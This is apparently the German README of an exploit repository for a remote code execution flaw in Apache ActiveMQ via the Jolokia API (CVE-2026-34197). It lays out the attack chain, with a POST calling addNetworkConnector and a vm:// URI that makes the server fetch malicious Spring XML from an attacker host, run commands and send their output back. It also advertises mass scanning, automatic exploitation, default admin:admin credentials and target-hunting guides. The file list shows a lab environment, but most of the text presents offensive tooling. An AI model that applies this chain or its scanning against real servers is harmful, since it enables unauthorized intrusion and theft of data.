
Exploit für Apache ActiveMQ RCE über die Jolokia-API (CVE-2026-34197) mit Erfassung der Befehlsausgabe, Massen-Scanning und automatischer Ausnutzung.
Überblick • Details • Angriffsablauf • Schnellstart • ATTACKER_IP-Anleitung • Verwendung • Ausgabeerfassung • Scanner • Suche • Erkennung • Behebung
CVE-2026-34197 ist eine kritische Remote Code Execution (RCE)-Schwachstelle in Apache ActiveMQ Classic, die es einem authentifizierten Angreifer ermöglicht, beliebige Betriebssystembefehle über die in der Webkonsole bereitgestellte Jolokia-API auszuführen.
Die Schwachstelle existiert seit über 13 Jahren und liegt in der Interaktion zwischen Jolokia (HTTP-JMX-Brücke), ActiveMQ-MBeans, Netzwerk-Connectoren und dem VM-Transport.
[!CAUTION] Dies ist ein erster öffentlicher PoC, entwickelt von KONDOR DEV SECURITY. Nur in autorisierten Sicherheitsbewertungen verwenden.
id, whoami, cat /etc/passwd) zeigen ihre Ausgabe automatisch in Ihrem Terminal anversion_check.py) — mehrthreadige Versionserkennung + gezielte Ausnutzung| CVE-ID | CVE-2026-34197 |
| Schweregrad | |
| Typ | Remote Code Execution (RCE) |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) / CWE-94 (Code-Injection) |
| Betroffen | ActiveMQ Classic < 5.19.4 und 6.0.0 — 6.2.2 |
| Behoben | 5.19.4 / 6.2.3 |
| Authentifizierung erforderlich | Ja (Standard-Anmeldedaten admin:admin sind üblich) |
| Keine Authentifizierung nötig | 6.0.0 — 6.1.1 (aufgrund von CVE-2024-32114) |
| Standard-Port | 8161 (Webkonsole) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Schritt-für-Schritt-Aufschlüsselung
| Schritt | Aktion | Komponente |
|:----:|--------|-----------|
| **1** | Angreifer sendet POST an `/api/jolokia/` und ruft `addNetworkConnector` auf dem Broker-MBean auf | Jolokia API |
| **2** | ActiveMQ verarbeitet die `vm://`-Transport-URI und erstellt einen ephemeren Broker mit `brokerConfig`, der auf eine entfernte URL verweist | VM Transport |
| **3** | Das `xbean:`-Schema löst den Download einer Spring-XML-Konfigurationsdatei vom Server des Angreifers aus | Spring / XBean |
| **4** | Spring instanziiert alle Beans im XML, einschließlich eines, das `Runtime.getRuntime().exec()` aufruft | Spring Context |
| **5** | Bei einfachen Befehlen wird die Ausgabe erfasst und per HTTP-POST an den Listener des Angreifers zurückgesendet (automatisch) | Ausgabeerfassung |
---
## Projektstruktur```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md